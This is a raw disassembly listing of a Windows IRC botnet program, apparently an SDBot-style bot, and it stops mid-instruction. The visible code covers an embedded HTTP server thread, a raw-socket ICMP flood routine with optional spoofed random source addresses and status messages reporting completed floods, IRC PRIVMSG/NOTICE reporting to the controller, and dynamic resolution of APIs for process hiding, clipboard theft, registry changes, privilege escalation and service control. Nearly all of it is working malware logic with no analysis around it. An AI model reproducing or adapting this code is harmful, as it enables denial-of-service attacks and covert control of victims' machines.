loc_404ED6: ; CODE XREF: sub_404C2E+2B6j push 5 call ds:dword_420000 ; Sleep loc_404EDE: ; CODE XREF: sub_404C2E+26Fj cmp [ebp+var_318], edi jz short loc_404ED6 jmp short loc_404ECF sub_404C2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_404EE8 proc near ; DATA XREF: sub_401141+363o ; sub_4089DC+43DBo var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = dword ptr -6F0h var_6EC = byte ptr -6ECh var_464 = byte ptr -464h var_360 = dword ptr -360h var_358 = dword ptr -358h var_354 = dword ptr -354h var_350 = dword ptr -350h var_34C = dword ptr -34Ch var_340 = byte ptr -340h var_23C = byte ptr -23Ch var_138 = byte ptr -138h var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_414630 mov eax, [ebp+arg_0] push ebx push esi push edi mov esi, eax mov ecx, 0ECh lea edi, [ebp+var_6F0] rep movsd push [ebp+var_360] xor esi, esi inc esi mov [eax+3ACh], esi xor eax, eax lea edi, [ebp+var_24] stosd stosd stosd stosd mov [ebp+var_14], esi mov [ebp+var_24], 2 call dword_435954 ; htons and [ebp+var_20], 0 push 0 push esi push 2 mov [ebp+var_22], ax call dword_435808 ; socket mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi mov [ebp+var_8], ebx jz loc_4052BB mov eax, [ebp+var_358] imul eax, 234h mov dword_4366AC[eax], ebx push 10h lea eax, [ebp+var_24] push eax push ebx call dword_4358E0 ; bind cmp eax, edi jz loc_4052BB push 7FFFFFFFh push ebx call dword_435928 ; listen cmp eax, edi jz loc_4052BB lea eax, [ebp+var_14] push eax push 8004667Eh push ebx call dword_4357AC ; ioctlsocket cmp eax, edi jz loc_4052BB push 41h xor eax, eax pop ecx push eax push eax push eax lea eax, [ebp+var_23C] push eax mov [ebp+var_124], ebx mov [ebp+var_128], esi mov [ebp+var_4], ebx lea eax, [ebx+1] jmp loc_40529D ; --------------------------------------------------------------------------- loc_404FCD: ; CODE XREF: sub_404EE8+3CDj xor esi, esi mov [ebp+arg_0], esi loc_404FD2: ; CODE XREF: sub_404EE8+39Cj lea eax, [ebp+var_23C] push eax push esi call dword_43585C ; __WSAFDIsSet test eax, eax jz loc_40527A cmp esi, ebx jnz short loc_40504F lea eax, [ebp+var_10] push eax lea eax, [ebp+var_138] push eax push ebx mov [ebp+var_10], 10h call dword_4357CC ; accept cmp eax, 0FFFFFFFFh jz loc_40527A mov edx, [ebp+var_128] xor ecx, ecx test edx, edx jbe short loc_405028 loc_40501A: ; CODE XREF: sub_404EE8+13Ej cmp [ebp+ecx*4+var_124], eax jz short loc_405028 inc ecx cmp ecx, edx jb short loc_40501A loc_405028: ; CODE XREF: sub_404EE8+130j ; sub_404EE8+139j cmp ecx, edx jnz short loc_40503E cmp edx, 40h jnb short loc_40503E mov [ebp+ecx*4+var_124], eax inc [ebp+var_128] loc_40503E: ; CODE XREF: sub_404EE8+142j ; sub_404EE8+147j cmp eax, [ebp+var_4] jbe loc_40527A mov [ebp+var_4], eax jmp loc_40527A ; --------------------------------------------------------------------------- loc_40504F: ; CODE XREF: sub_404EE8+102j mov edx, 400h xor eax, eax mov ecx, edx lea edi, [ebp+var_28F0] rep stosd push eax mov ecx, edx lea edi, [ebp+var_18F0] rep stosd push 1000h lea eax, [ebp+var_28F0] push eax push esi call dword_43577C ; recv test eax, eax jg short loc_4050D3 push esi call dword_435914 ; closesocket xor eax, eax cmp [ebp+var_128], eax jbe loc_40527A loc_405097: ; CODE XREF: sub_404EE8+1BFj cmp [ebp+eax*4+var_124], esi jz short loc_4050BD inc eax cmp eax, [ebp+var_128] jb short loc_405097 jmp loc_40527A ; --------------------------------------------------------------------------- loc_4050AE: ; CODE XREF: sub_404EE8+1DEj mov ecx, [ebp+eax*4+var_120] mov [ebp+eax*4+var_124], ecx inc eax loc_4050BD: ; CODE XREF: sub_404EE8+1B6j mov ecx, [ebp+var_128] dec ecx cmp eax, ecx jb short loc_4050AE dec [ebp+var_128] jmp loc_40527A ; --------------------------------------------------------------------------- loc_4050D3: ; CODE XREF: sub_404EE8+198j push 41h xor eax, eax pop ecx lea edi, [ebp+var_340] rep stosd lea eax, [ebp+var_28F0] xor ebx, ebx xor esi, esi lea ecx, [eax+1] loc_4050ED: ; CODE XREF: sub_404EE8+20Aj mov dl, [eax] inc eax test dl, dl jnz short loc_4050ED sub eax, ecx mov [ebp+var_C], eax jz loc_405277 loc_4050FF: ; CODE XREF: sub_404EE8+2D0j mov al, [ebp+ebx+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_4051A2 mov esi, offset aGet ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_414EE0 test eax, eax pop ecx pop ecx jz short loc_40517C lea eax, [ebp+var_18F0] lea edx, [eax+1] loc_405136: ; CODE XREF: sub_404EE8+253j mov cl, [eax] inc eax test cl, cl jnz short loc_405136 sub eax, edx cmp eax, 5 jbe short loc_40517C mov eax, offset asc_420AE8 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_414EE0 pop ecx pop ecx push eax call sub_414EE0 pop ecx pop ecx push eax call sub_415289 pop ecx pop ecx lea edx, [ebp+var_340] loc_405170: ; CODE XREF: sub_404EE8+290j mov cl, [eax] inc eax mov [edx], cl inc edx test cl, cl jnz short loc_405170 jmp short loc_405190 ; --------------------------------------------------------------------------- loc_40517C: ; CODE XREF: sub_404EE8+243j ; sub_404EE8+25Aj push 3 mov edi, offset asc_4219D0 ; "\r\n" lea esi, [ebp+var_18F0] pop ecx xor eax, eax repe cmpsb jz short loc_4051C3 loc_405190: ; CODE XREF: sub_404EE8+292j xor eax, eax mov ecx, 400h lea edi, [ebp+var_18F0] rep stosd or esi, 0FFFFFFFFh loc_4051A2: ; CODE XREF: sub_404EE8+227j lea eax, [ebp+var_28F0] inc ebx inc esi lea ecx, [eax+1] loc_4051AD: ; CODE XREF: sub_404EE8+2CAj mov dl, [eax] inc eax test dl, dl jnz short loc_4051AD sub eax, ecx cmp ebx, eax jb loc_4050FF jmp loc_405277 ; --------------------------------------------------------------------------- loc_4051C3: ; CODE XREF: sub_404EE8+2A6j mov ecx, [ebp+var_128] xor eax, eax test ecx, ecx jbe short loc_405202 loc_4051CF: ; CODE XREF: sub_404EE8+2F6j mov edx, [ebp+eax*4+var_124] cmp edx, [ebp+arg_0] jz short loc_4051F7 inc eax cmp eax, ecx jb short loc_4051CF jmp short loc_405202 ; --------------------------------------------------------------------------- loc_4051E2: ; CODE XREF: sub_404EE8+312j mov ecx, [ebp+eax*4+var_120] mov [ebp+eax*4+var_124], ecx mov ecx, [ebp+var_128] inc eax loc_4051F7: ; CODE XREF: sub_404EE8+2F1j dec ecx cmp eax, ecx jb short loc_4051E2 dec [ebp+var_128] loc_405202: ; CODE XREF: sub_404EE8+2E5j ; sub_404EE8+2F8j lea eax, [ebp+var_340] lea edx, [eax+1] loc_40520B: ; CODE XREF: sub_404EE8+328j mov cl, [eax] inc eax test cl, cl jnz short loc_40520B sub eax, edx mov esi, eax lea eax, [ebp+var_464] lea ecx, [eax+1] loc_40521F: ; CODE XREF: sub_404EE8+33Cj mov dl, [eax] inc eax test dl, dl jnz short loc_40521F sub eax, ecx add eax, esi cmp eax, 104h jnb short loc_40526E and [ebp+var_C], 0 lea eax, [ebp+var_C] push eax push 8004667Eh push [ebp+arg_0] call dword_4357AC ; ioctlsocket push [ebp+var_358] lea eax, [ebp+var_340] push [ebp+var_34C] push eax lea eax, [ebp+var_464] push eax push [ebp+arg_0] call sub_404C2E add esp, 14h jmp short loc_405277 ; --------------------------------------------------------------------------- loc_40526E: ; CODE XREF: sub_404EE8+347j push [ebp+arg_0] call dword_435914 ; closesocket loc_405277: ; CODE XREF: sub_404EE8+211j ; sub_404EE8+2D6j ... mov ebx, [ebp+var_8] loc_40527A: ; CODE XREF: sub_404EE8+FAj ; sub_404EE8+120j ... mov esi, [ebp+arg_0] inc esi cmp esi, [ebp+var_4] mov [ebp+arg_0], esi jbe loc_404FD2 push 41h xor eax, eax pop ecx push eax push eax push eax lea eax, [ebp+var_23C] push eax mov eax, [ebp+var_4] inc eax loc_40529D: ; CODE XREF: sub_404EE8+E0j lea esi, [ebp+var_128] lea edi, [ebp+var_23C] push eax rep movsd call dword_4358AC ; select cmp eax, 0FFFFFFFFh jnz loc_404FCD loc_4052BB: ; CODE XREF: sub_404EE8+66j ; sub_404EE8+8Dj ... call dword_4358C0 ; WSAGetLastError push eax lea eax, [ebp+var_8F0] push offset aHttpdErrorServ ; "[HTTPD]: Error: server failed, returned"... push eax call sub_414415 xor esi, esi add esp, 0Ch cmp [ebp+var_350], esi jnz short loc_405303 push esi push [ebp+var_354] lea eax, [ebp+var_8F0] push eax lea eax, [ebp+var_6EC] push eax push [ebp+var_6F0] call sub_4056BF add esp, 14h loc_405303: ; CODE XREF: sub_404EE8+3F6j lea eax, [ebp+var_8F0] push eax call sub_401EFF pop ecx push ebx call dword_435914 ; closesocket push [ebp+var_358] call sub_41255E pop ecx push esi call ds:dword_420014 ; ExitThread int 3 ; Trap to Debugger sub_404EE8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40532B proc near ; DATA XREF: sub_4089DC+2CEEo var_3BC = byte ptr -3BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_138 = byte ptr -138h var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3BCh mov eax, [ebp+arg_0] push ebx push esi push edi push 68h pop ecx mov esi, eax lea edi, [ebp+var_1BC] rep movsd push 0FFh xor esi, esi push 3 inc esi push 2 mov [eax+19Ch], esi call dword_435808 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_405392 call dword_4358C0 ; WSAGetLastError push eax lea eax, [ebp+var_3BC] push offset aIcmpErrorSocke ; "[ICMP]: Error: socket() failed, returne"... push eax call sub_414415 add esp, 0Ch xor esi, esi loc_405384: ; CODE XREF: sub_40532B+9Cj ; sub_40532B+C3j cmp [ebp+var_24], esi jnz loc_4055E6 jmp loc_4055C6 ; --------------------------------------------------------------------------- loc_405392: ; CODE XREF: sub_40532B+3Aj push 4 lea ecx, [ebp+var_C] push ecx mov [ebp+var_C], esi push 2 xor esi, esi push esi push eax call dword_435824 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_4053C9 call dword_4358C0 ; WSAGetLastError push eax lea eax, [ebp+var_3BC] push offset aIcmpErrorSetso ; "[ICMP]: Error: setsockopt() failed, ret"... push eax call sub_414415 add esp, 0Ch jmp short loc_405384 ; --------------------------------------------------------------------------- loc_4053C9: ; CODE XREF: sub_40532B+7Fj lea eax, [ebp+var_1B8] push eax call dword_43587C ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_4053F0 lea eax, [ebp+var_3BC] push offset aIcmpInvalidTar ; "[ICMP]: Invalid target IP." push eax call sub_414415 pop ecx pop ecx jmp short loc_405384 ; --------------------------------------------------------------------------- loc_4053F0: ; CODE XREF: sub_40532B+AEj xor eax, eax lea edi, [ebp+var_1C] stosd stosd stosd stosd push esi mov [ebp+var_1C], 2 call dword_435954 ; htons mov [ebp+var_1A], ax lea eax, [ebp+var_1B8] push eax call dword_43587C ; inet_addr mov ebx, ds:dword_420004 mov [ebp+var_18], eax mov [ebp+arg_0], esi call ebx ; GetTickCount mov [ebp+var_8], eax call ebx ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_30] ja loc_40557E mov esi, 100h loc_405444: ; CODE XREF: sub_40532B+24Bj push 41Ch mov byte_435360, 45h call dword_435954 ; htons mov word_435362, ax xor eax, eax cmp [ebp+var_2C], eax mov word_435364, 1 mov word_435366, ax mov byte_435368, 80h mov byte_435369, 1 mov word_43536A, ax jz short loc_4054B3 call sub_4145D1 mov edi, eax shl edi, 8 call sub_4145D1 add edi, eax shl edi, 8 call sub_4145D1 add edi, eax shl edi, 8 call sub_4145D1 add edi, eax mov dword_43536C, edi jmp short loc_4054CB ; --------------------------------------------------------------------------- loc_4054B3: ; CODE XREF: sub_40532B+159j push [ebp+var_1BC] call sub_407D15 pop ecx push eax call dword_43587C ; inet_addr mov dword_43536C, eax loc_4054CB: ; CODE XREF: sub_40532B+186j mov eax, [ebp+var_18] mov dword_435370, eax call sub_4145D1 cdq mov ecx, esi idiv ecx mov byte_435374, dl call sub_4145D1 cdq mov ecx, esi idiv ecx mov byte_435375, dl call sub_4145D1 cdq mov ecx, 0F0h idiv ecx and word_435376, 0 mov word_43537A, 1 inc edx mov word_435378, dx call sub_4145D1 cdq mov ecx, 0FFh idiv ecx push 10h mov edi, offset dword_43537C mov al, dl mov cl, al mov ch, cl mov eax, ecx shl eax, 10h mov ax, cx mov ecx, esi rep stosd lea eax, [ebp+var_1C] push eax xor edi, edi push edi push 41Ch push offset byte_435360 push [ebp+var_4] call dword_4357D8 ; sendto cmp eax, 0FFFFFFFFh jz loc_405603 inc [ebp+arg_0] call ebx ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_30] jbe loc_405444 xor esi, esi loc_40557E: ; CODE XREF: sub_40532B+10Ej push [ebp+var_4] call dword_435914 ; closesocket mov eax, [ebp+arg_0] imul eax, 3Ch mov ecx, eax shr eax, 0Ah xor edx, edx div [ebp+var_30] shr ecx, 14h push ecx push eax push [ebp+arg_0] lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_138] push eax lea eax, [ebp+var_3BC] push offset aIcmpDoneWithSF ; "[ICMP]: Done with %s flood to IP: %s. S"... push eax call sub_414415 add esp, 1Ch cmp [ebp+var_24], esi jnz short loc_4055E6 loc_4055C6: ; CODE XREF: sub_40532B+62j push esi push [ebp+var_28] lea eax, [ebp+var_3BC] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_4056BF add esp, 14h loc_4055E6: ; CODE XREF: sub_40532B+5Cj ; sub_40532B+299j lea eax, [ebp+var_3BC] push eax call sub_401EFF push [ebp+var_38] call sub_41255E pop ecx pop ecx push esi loc_4055FD: ; CODE XREF: sub_40532B+347j call ds:dword_420014 ; ExitThread loc_405603: ; CODE XREF: sub_40532B+231j push [ebp+var_4] call dword_435914 ; closesocket call dword_4358C0 ; WSAGetLastError push eax push [ebp+arg_0] lea eax, [ebp+var_1B8] push eax push offset aIcmpErrorSendi ; "[ICMP]: Error sending packets to IP: %s"... lea eax, [ebp+var_3BC] push 200h push eax call sub_41466D add esp, 18h cmp [ebp+var_24], edi jnz short loc_40565B push edi push [ebp+var_28] lea eax, [ebp+var_3BC] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_4056BF add esp, 14h loc_40565B: ; CODE XREF: sub_40532B+30Ej lea eax, [ebp+var_3BC] push eax call sub_401EFF push [ebp+var_38] call sub_41255E pop ecx pop ecx push edi jmp short loc_4055FD sub_40532B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405674 proc near ; CODE XREF: sub_408601+40p ; sub_4089DC+1B8p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax push [ebp+arg_4] lea eax, [ebp+var_200] push 200h push eax call sub_4146C4 lea eax, [ebp+var_200] add esp, 10h lea edx, [eax+1] loc_4056A1: ; CODE XREF: sub_405674+32j mov cl, [eax] inc eax test cl, cl jnz short loc_4056A1 push 0 sub eax, edx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43589C ; send leave retn sub_405674 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4056BF proc near ; CODE XREF: sub_401000+B2p ; sub_4010CA:loc_40112Bp ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_4056DA mov edi, offset aPrivmsg ; "PRIVMSG" loc_4056DA: ; CODE XREF: sub_4056BF+14j mov eax, edi lea edx, [eax+1] loc_4056DF: ; CODE XREF: sub_4056BF+25j mov cl, [eax] inc eax test cl, cl jnz short loc_4056DF sub eax, edx mov esi, eax mov eax, [ebp+arg_4] lea ecx, [eax+1] loc_4056F0: ; CODE XREF: sub_4056BF+36j mov dl, [eax] inc eax test dl, dl jnz short loc_4056F0 push [ebp+arg_8] sub eax, ecx mov ecx, 1FAh sub ecx, eax push offset aS_2 ; "%s" sub ecx, esi push ecx lea eax, [ebp+var_400] push eax call sub_41466D lea eax, [ebp+var_400] push eax push [ebp+arg_4] lea eax, [ebp+var_200] push edi push offset aSSS ; "%s %s :%s\r\n" push eax call sub_414415 add esp, 24h lea eax, [ebp+var_200] pop edi lea ecx, [eax+1] pop esi loc_405741: ; CODE XREF: sub_4056BF+87j mov dl, [eax] inc eax test dl, dl jnz short loc_405741 push 0 sub eax, ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_43589C ; send cmp [ebp+arg_10], 0 jz short locret_40576E push 0FAh call ds:dword_420000 ; Sleep locret_40576E: ; CODE XREF: sub_4056BF+A2j leave retn sub_4056BF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_405770 proc near ; CODE XREF: sub_40E6BB+4Bp push ebx push ebp mov ebp, ds:dword_4200A4 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp ; GetModuleHandleA mov esi, ds:dword_420084 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_405890 push offset aSeterrormode ; "SetErrorMode" push edi call esi ; GetProcAddress push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4357E0, eax call esi ; GetProcAddress push offset aProcess32first ; "Process32First" push edi mov dword_4357F8, eax call esi ; GetProcAddress push offset aProcess32next ; "Process32Next" push edi mov dword_435854, eax call esi ; GetProcAddress push offset aModule32first ; "Module32First" push edi mov dword_4357B8, eax call esi ; GetProcAddress push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_435820, eax call esi ; GetProcAddress push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_435804, eax call esi ; GetProcAddress push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4358A4, eax call esi ; GetProcAddress push offset aSearchpatha ; "SearchPathA" push edi mov dword_435794, eax call esi ; GetProcAddress push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_435828, eax call esi ; GetProcAddress push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_43584C, eax call esi ; GetProcAddress cmp dword_4357E0, ebx mov dword_4358B0, eax jz short loc_40586E cmp dword_4357F8, ebx jz short loc_40586E cmp dword_435854, ebx jz short loc_40586E cmp dword_4357B8, ebx jz short loc_40586E cmp dword_435804, ebx jz short loc_40586E cmp dword_4358A4, ebx jz short loc_40586E cmp dword_435794, ebx jz short loc_40586E cmp dword_435828, ebx jz short loc_40586E cmp dword_43584C, ebx jz short loc_40586E cmp eax, ebx jnz short loc_405878 loc_40586E: ; CODE XREF: sub_405770+B8j ; sub_405770+C0j ... mov dword_435958, 1 loc_405878: ; CODE XREF: sub_405770+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_435904, eax jz short loc_4058A5 push 1 push ebx call eax jmp short loc_4058A5 ; --------------------------------------------------------------------------- loc_405890: ; CODE XREF: sub_405770+1Dj call ds:dword_420008 ; RtlGetLastWin32Error mov dword_43595C, eax mov dword_435958, 1 loc_4058A5: ; CODE XREF: sub_405770+117j ; sub_405770+11Ej push offset aUser32_dll ; "user32.dll" call ds:dword_420088 ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_405960 push offset aSendmessagea ; "SendMessageA" push edi call esi ; GetProcAddress push offset aFindwindowa ; "FindWindowA" push edi mov dword_4358C8, eax call esi ; GetProcAddress push offset aIswindow ; "IsWindow" push edi mov dword_435860, eax call esi ; GetProcAddress push offset aDestroywindow ; "DestroyWindow" push edi mov dword_43579C, eax call esi ; GetProcAddress push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_435800, eax call esi ; GetProcAddress push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4357B4, eax call esi ; GetProcAddress push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_435934, eax call esi ; GetProcAddress push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_435798, eax call esi ; GetProcAddress cmp dword_4358C8, ebx mov dword_4358A0, eax jz short loc_40596B cmp dword_435860, ebx jz short loc_40596B cmp dword_43579C, ebx jz short loc_40596B cmp dword_435800, ebx jz short loc_40596B cmp dword_4357B4, ebx jz short loc_40596B cmp dword_435934, ebx jz short loc_40596B cmp dword_435798, ebx jz short loc_40596B cmp eax, ebx jnz short loc_405975 jmp short loc_40596B ; --------------------------------------------------------------------------- loc_405960: ; CODE XREF: sub_405770+144j call ds:dword_420008 ; RtlGetLastWin32Error mov dword_435964, eax loc_40596B: ; CODE XREF: sub_405770+1B8j ; sub_405770+1C0j ... mov dword_435960, 1 loc_405975: ; CODE XREF: sub_405770+1ECj push offset aAdvapi32_dll ; "advapi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_405B10 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi ; GetProcAddress push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_435930, eax call esi ; GetProcAddress push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_435850, eax call esi ; GetProcAddress push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4357EC, eax call esi ; GetProcAddress push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4357C8, eax call esi ; GetProcAddress push offset aRegclosekey ; "RegCloseKey" push edi mov dword_435844, eax call esi ; GetProcAddress cmp dword_435930, ebx mov dword_4358E4, eax jz short loc_405A00 cmp dword_435850, ebx jz short loc_405A00 cmp dword_4357EC, ebx jz short loc_405A00 cmp dword_4357C8, ebx jz short loc_405A00 cmp dword_435844, ebx jz short loc_405A00 cmp eax, ebx jnz short loc_405A0A loc_405A00: ; CODE XREF: sub_405770+26Aj ; sub_405770+272j ... mov dword_435968, 1 loc_405A0A: ; CODE XREF: sub_405770+28Ej push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_43593C, eax call esi ; GetProcAddress push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_435924, eax call esi ; GetProcAddress cmp dword_43593C, ebx mov dword_435870, eax jz short loc_405A45 cmp dword_435924, ebx jz short loc_405A45 cmp eax, ebx jnz short loc_405A4F loc_405A45: ; CODE XREF: sub_405770+2C7j ; sub_405770+2CFj mov dword_435968, 1 loc_405A4F: ; CODE XREF: sub_405770+2D3j push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi ; GetProcAddress push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4358C4, eax call esi ; GetProcAddress push offset aStartservicea ; "StartServiceA" push edi mov dword_435940, eax call esi ; GetProcAddress push offset aControlservice ; "ControlService" push edi mov dword_4358CC, eax call esi ; GetProcAddress push offset aDeleteservice ; "DeleteService" push edi mov dword_4358E8, eax call esi ; GetProcAddress push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4357FC, eax call esi ; GetProcAddress push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_435838, eax call esi ; GetProcAddress push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4358D4, eax call esi ; GetProcAddress cmp dword_4358C4, ebx mov dword_435900, eax jz short loc_405AF3 cmp dword_435940, ebx jz short loc_405AF3 cmp dword_4358CC, ebx jz short loc_405AF3 cmp dword_4358E8, ebx jz short loc_405AF3 cmp dword_4357FC, ebx jz short loc_405AF3 cmp dword_435838, ebx jz short loc_405AF3 cmp dword_4358D4, ebx jz short loc_405AF3 cmp eax, ebx jnz short loc_405AFD loc_405AF3: ; CODE XREF: sub_405770+34Dj ; sub_405770+355j ... mov dword_435968, 1 loc_405AFD: ; CODE XREF: sub_405770+381j push offset aGetusernamea ; "GetUserNameA" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_435898, eax jnz short loc_405B25 jmp short loc_405B1B ; --------------------------------------------------------------------------- loc_405B10: ; CODE XREF: sub_405770+210j call ds:dword_420008 ; RtlGetLastWin32Error mov dword_43596C, eax loc_405B1B: ; CODE XREF: sub_405770+39Ej mov dword_435968, 1 loc_405B25: ; CODE XREF: sub_405770+39Cj push offset aGdi32_dll ; "gdi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_405BF1 push offset aCreatedca ; "CreateDCA" push edi call esi ; GetProcAddress push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_435944, eax call esi ; GetProcAddress push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_435918, eax call esi ; GetProcAddress push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_435880, eax call esi ; GetProcAddress push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_435878, eax call esi ; GetProcAddress push offset aSelectobject ; "SelectObject" push edi mov dword_4358BC, eax call esi ; GetProcAddress push offset aBitblt ; "BitBlt" push edi mov dword_4357A4, eax call esi ; GetProcAddress push offset aDeletedc ; "DeleteDC" push edi mov dword_435890, eax call esi ; GetProcAddress push offset aDeleteobject ; "DeleteObject" push edi mov dword_435834, eax call esi ; GetProcAddress cmp dword_435944, ebx mov dword_435884, eax jz short loc_405BFC cmp dword_435918, ebx jz short loc_405BFC cmp dword_435880, ebx jz short loc_405BFC cmp dword_435878, ebx jz short loc_405BFC cmp dword_4358BC, ebx jz short loc_405BFC cmp dword_4357A4, ebx jz short loc_405BFC cmp dword_435890, ebx jz short loc_405BFC cmp dword_435834, ebx jz short loc_405BFC cmp eax, ebx jnz short loc_405C06 jmp short loc_405BFC ; --------------------------------------------------------------------------- loc_405BF1: ; CODE XREF: sub_405770+3C0j call ds:dword_420008 ; RtlGetLastWin32Error mov dword_435974, eax loc_405BFC: ; CODE XREF: sub_405770+441j ; sub_405770+449j ... mov dword_435970, 1 loc_405C06: ; CODE XREF: sub_405770+47Dj mov ebp, ds:dword_420088 push offset aWs2_32_dll ; "ws2_32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_405EC2 push offset aWsastartup ; "WSAStartup" push edi call esi ; GetProcAddress push offset aWsasocketa ; "WSASocketA" push edi mov dword_435818, eax call esi ; GetProcAddress push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_43578C, eax call esi ; GetProcAddress push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_435894, eax call esi ; GetProcAddress push offset aWsaioctl ; "WSAIoctl" push edi mov dword_43585C, eax call esi ; GetProcAddress push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4358DC, eax call esi ; GetProcAddress push offset aWsacleanup ; "WSACleanup" push edi mov dword_4358C0, eax call esi ; GetProcAddress push offset aSocket ; "socket" push edi mov dword_435920, eax call esi ; GetProcAddress push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_435808, eax call esi ; GetProcAddress push offset aConnect ; "connect" push edi mov dword_4357AC, eax call esi ; GetProcAddress push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4357C0, eax call esi ; GetProcAddress push offset aInet_addr ; "inet_addr" push edi mov dword_435888, eax call esi ; GetProcAddress push offset aHtons ; "htons" push edi mov dword_43587C, eax call esi ; GetProcAddress push offset aHtonl ; "htonl" push edi mov dword_435954, eax call esi ; GetProcAddress push offset aNtohs ; "ntohs" push edi mov dword_43592C, eax call esi ; GetProcAddress push offset aNtohl ; "ntohl" push edi mov dword_4358FC, eax call esi ; GetProcAddress push offset aSend ; "send" push edi mov dword_4358D8, eax call esi ; GetProcAddress push offset aSendto ; "sendto" push edi mov dword_43589C, eax call esi ; GetProcAddress push offset aRecv ; "recv" push edi mov dword_4357D8, eax call esi ; GetProcAddress push offset aRecvfrom ; "recvfrom" push edi mov dword_43577C, eax call esi ; GetProcAddress mov dword_4357A0, eax push offset aBind ; "bind" push edi call esi ; GetProcAddress push offset aSelect ; "select" push edi mov dword_4358E0, eax call esi ; GetProcAddress push offset aListen ; "listen" push edi mov dword_4358AC, eax call esi ; GetProcAddress push offset aAccept ; "accept" push edi mov dword_435928, eax call esi ; GetProcAddress push offset aSetsockopt ; "setsockopt" push edi mov dword_4357CC, eax call esi ; GetProcAddress push offset aGetsockname ; "getsockname" push edi mov dword_435824, eax call esi ; GetProcAddress push offset aGethostname ; "gethostname" push edi mov dword_435780, eax call esi ; GetProcAddress push offset aGethostbyname ; "gethostbyname" push edi mov 